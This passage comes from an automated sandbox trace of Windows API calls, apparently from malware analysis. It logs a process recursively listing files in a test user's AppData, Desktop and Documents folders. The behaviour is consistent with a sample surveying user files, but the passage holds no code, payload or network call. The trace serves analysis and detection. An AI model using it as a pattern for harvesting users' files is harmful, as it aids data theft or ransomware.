ftLastWriteTime.dwHighDateTime=0x1d5deb6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="kG_PXJbnjFaNbAU-m", cAlternateFileName="KG_PXJ~1")) returned 1 [0124.388] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8baf2ba0, ftCreationTime.dwHighDateTime=0x1d5e5d7, ftLastAccessTime.dwLowDateTime=0x591302a0, ftLastAccessTime.dwHighDateTime=0x1d5e412, ftLastWriteTime.dwLowDateTime=0x591302a0, ftLastWriteTime.dwHighDateTime=0x1d5e412, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="LWdYNCSp0w4", cAlternateFileName="LWDYNC~1")) returned 1 [0124.388] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71607b40, ftCreationTime.dwHighDateTime=0x1d5e2a4, ftLastAccessTime.dwLowDateTime=0xed59d2f0, ftLastAccessTime.dwHighDateTime=0x1d5d85e, ftLastWriteTime.dwLowDateTime=0xed59d2f0, ftLastWriteTime.dwHighDateTime=0x1d5d85e, nFileSizeHigh=0x0, nFileSizeLow=0x8501, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="x7vfBX0W0Mt6Qrc12.mp4", cAlternateFileName="X7VFBX~1.MP4")) returned 1 [0124.388] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cdb6a0, ftCreationTime.dwHighDateTime=0x1d5da03, ftLastAccessTime.dwLowDateTime=0xcfcc54f0, ftLastAccessTime.dwHighDateTime=0x1d5e737, ftLastWriteTime.dwLowDateTime=0xcfcc54f0, ftLastWriteTime.dwHighDateTime=0x1d5e737, nFileSizeHigh=0x0, nFileSizeLow=0xbcda, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Yl93aKe.avi", cAlternateFileName="")) returned 1 [0124.388] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cdb6a0, ftCreationTime.dwHighDateTime=0x1d5da03, ftLastAccessTime.dwLowDateTime=0xcfcc54f0, ftLastAccessTime.dwHighDateTime=0x1d5e737, ftLastWriteTime.dwLowDateTime=0xcfcc54f0, ftLastWriteTime.dwHighDateTime=0x1d5e737, nFileSizeHigh=0x0, nFileSizeLow=0xbcda, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Yl93aKe.avi", cAlternateFileName="")) returned 0 [0124.388] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.388] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.388] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34880f0 | out: hHeap=0x810000) returned 1 [0124.388] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3488040 | out: hHeap=0x810000) returned 1 [0124.388] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3c70 | out: hHeap=0x810000) returned 1 [0124.388] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487f90 | out: hHeap=0x810000) returned 1 [0124.389] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487d80 | out: hHeap=0x810000) returned 1 [0124.389] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3488098 | out: hHeap=0x810000) returned 1 [0124.389] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3c08 | out: hHeap=0x810000) returned 1 [0124.389] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3e10 | out: hHeap=0x810000) returned 1 [0124.389] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3e78 | out: hHeap=0x810000) returned 1 [0124.389] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487e88 | out: hHeap=0x810000) returned 1 [0124.389] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3ee0 | out: hHeap=0x810000) returned 1 [0124.389] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34883b0 | out: hHeap=0x810000) returned 1 [0124.389] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3f48 | out: hHeap=0x810000) returned 1 [0124.389] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3488408 | out: hHeap=0x810000) returned 1 [0124.389] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3488460 | out: hHeap=0x810000) returned 1 [0124.389] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3fb0 | out: hHeap=0x810000) returned 1 [0124.389] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34884b8 | out: hHeap=0x810000) returned 1 [0124.389] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae4018 | out: hHeap=0x810000) returned 1 [0124.389] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3488510 | out: hHeap=0x810000) returned 1 [0124.389] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3488568 | out: hHeap=0x810000) returned 1 [0124.389] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3cd8 | out: hHeap=0x810000) returned 1 [0124.389] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed528 | out: hHeap=0x810000) returned 1 [0124.389] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487fe8 | out: hHeap=0x810000) returned 1 [0124.389] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3218 | out: hHeap=0x810000) returned 1 [0124.389] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.389] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.389] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0124.389] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0124.389] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.389] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.389] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.389] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.389] PathFindFileNameW (pszPath="") returned="" [0124.389] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.390] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34d9c18 | out: hHeap=0x810000) returned 1 [0124.390] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.390] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Adobe", cAlternateFileName="")) returned 1 [0124.390] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0124.390] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Sun", cAlternateFileName="")) returned 1 [0124.390] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Sun", cAlternateFileName="")) returned 0 [0124.390] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.390] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.390] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed528 | out: hHeap=0x810000) returned 1 [0124.390] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.390] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.390] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\") returned="Yr-pcf 3y122NkdCREb\\" [0124.390] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0124.390] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.390] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.390] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.390] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.390] PathFindFileNameW (pszPath="") returned="" [0124.390] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf90c9110, ftCreationTime.dwHighDateTime=0x1d5e537, ftLastAccessTime.dwLowDateTime=0xab188e0, ftLastAccessTime.dwHighDateTime=0x1d5de98, ftLastWriteTime.dwLowDateTime=0xab188e0, ftLastWriteTime.dwHighDateTime=0x1d5de98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.392] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x866ae8 | out: hHeap=0x810000) returned 1 [0124.392] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf90c9110, ftCreationTime.dwHighDateTime=0x1d5e537, ftLastAccessTime.dwLowDateTime=0xab188e0, ftLastAccessTime.dwHighDateTime=0x1d5de98, ftLastWriteTime.dwLowDateTime=0xab188e0, ftLastWriteTime.dwHighDateTime=0x1d5de98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.392] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44af5700, ftCreationTime.dwHighDateTime=0x1d5e633, ftLastAccessTime.dwLowDateTime=0x17250520, ftLastAccessTime.dwHighDateTime=0x1d5e401, ftLastWriteTime.dwLowDateTime=0x17250520, ftLastWriteTime.dwHighDateTime=0x1d5e401, nFileSizeHigh=0x0, nFileSizeLow=0xa503, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="ArOVUDVaZU5j.wav", cAlternateFileName="AROVUD~1.WAV")) returned 1 [0124.392] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab5f8690, ftCreationTime.dwHighDateTime=0x1d5d7e3, ftLastAccessTime.dwLowDateTime=0xafb44e60, ftLastAccessTime.dwHighDateTime=0x1d5dd4c, ftLastWriteTime.dwLowDateTime=0xafb44e60, ftLastWriteTime.dwHighDateTime=0x1d5dd4c, nFileSizeHigh=0x0, nFileSizeLow=0x13a44, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="J0w0Iz5W.mkv", cAlternateFileName="")) returned 1 [0124.392] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb14ac640, ftCreationTime.dwHighDateTime=0x1d5e7a7, ftLastAccessTime.dwLowDateTime=0xab7435c0, ftLastAccessTime.dwHighDateTime=0x1d5e154, ftLastWriteTime.dwLowDateTime=0xab7435c0, ftLastWriteTime.dwHighDateTime=0x1d5e154, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="lFYNBb9GU", cAlternateFileName="LFYNBB~1")) returned 1 [0124.392] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a31e4a0, ftCreationTime.dwHighDateTime=0x1d5e20c, ftLastAccessTime.dwLowDateTime=0x16993620, ftLastAccessTime.dwHighDateTime=0x1d5deee, ftLastWriteTime.dwLowDateTime=0x16993620, ftLastWriteTime.dwHighDateTime=0x1d5deee, nFileSizeHigh=0x0, nFileSizeLow=0x3b75, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="qfnQXTM-.rtf", cAlternateFileName="")) returned 1 [0124.392] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x359f3480, ftCreationTime.dwHighDateTime=0x1d5d943, ftLastAccessTime.dwLowDateTime=0x5518a1d0, ftLastAccessTime.dwHighDateTime=0x1d5e054, ftLastWriteTime.dwLowDateTime=0x5518a1d0, ftLastWriteTime.dwHighDateTime=0x1d5e054, nFileSizeHigh=0x0, nFileSizeLow=0x14814, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="y0vtI.m4a", cAlternateFileName="")) returned 1 [0124.392] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x359f3480, ftCreationTime.dwHighDateTime=0x1d5d943, ftLastAccessTime.dwLowDateTime=0x5518a1d0, ftLastAccessTime.dwHighDateTime=0x1d5e054, ftLastWriteTime.dwLowDateTime=0x5518a1d0, ftLastWriteTime.dwHighDateTime=0x1d5e054, nFileSizeHigh=0x0, nFileSizeLow=0x14814, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="y0vtI.m4a", cAlternateFileName="")) returned 0 [0124.392] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.393] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.393] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x866bf8 | out: hHeap=0x810000) returned 1 [0124.393] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.393] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\") returned="My Music\\" [0124.393] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0124.393] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.393] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.393] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.393] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.393] PathFindFileNameW (pszPath="") returned="" [0124.393] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x359f3480, ftCreationTime.dwHighDateTime=0x1d5d943, ftLastAccessTime.dwLowDateTime=0x5518a1d0, ftLastAccessTime.dwHighDateTime=0x1d5e054, ftLastWriteTime.dwLowDateTime=0x5518a1d0, ftLastWriteTime.dwHighDateTime=0x1d5e054, nFileSizeHigh=0x0, nFileSizeLow=0x14814, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="y0vtI.m4a", cAlternateFileName="")) returned 0xffffffff [0124.393] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34d9ee8 | out: hHeap=0x810000) returned 1 [0124.393] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.393] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34d9c18 | out: hHeap=0x810000) returned 1 [0124.393] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.393] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\") returned="My Pictures\\" [0124.393] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0124.393] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.393] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.393] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.393] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.393] PathFindFileNameW (pszPath="") returned="" [0124.393] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x359f3480, ftCreationTime.dwHighDateTime=0x1d5d943, ftLastAccessTime.dwLowDateTime=0x5518a1d0, ftLastAccessTime.dwHighDateTime=0x1d5e054, ftLastWriteTime.dwLowDateTime=0x5518a1d0, ftLastWriteTime.dwHighDateTime=0x1d5e054, nFileSizeHigh=0x0, nFileSizeLow=0x14814, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="y0vtI.m4a", cAlternateFileName="")) returned 0xffffffff [0124.394] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34d9ee8 | out: hHeap=0x810000) returned 1 [0124.394] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.394] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34d9c18 | out: hHeap=0x810000) returned 1 [0124.394] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.394] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" [0124.394] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0124.394] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.394] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.394] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.394] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.394] PathFindFileNameW (pszPath="") returned="" [0124.394] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.395] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34d9ee8 | out: hHeap=0x810000) returned 1 [0124.395] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.395] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0124.395] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Favorites.vss", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0124.395] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="_private", cAlternateFileName="")) returned 1 [0124.395] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="_private", cAlternateFileName="")) returned 0 [0124.395] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.395] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.395] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34d9c18 | out: hHeap=0x810000) returned 1 [0124.395] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.395] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\") returned="My Videos\\" [0124.395] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0124.395] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.395] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.395] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.395] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.395] PathFindFileNameW (pszPath="") returned="" [0124.395] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, 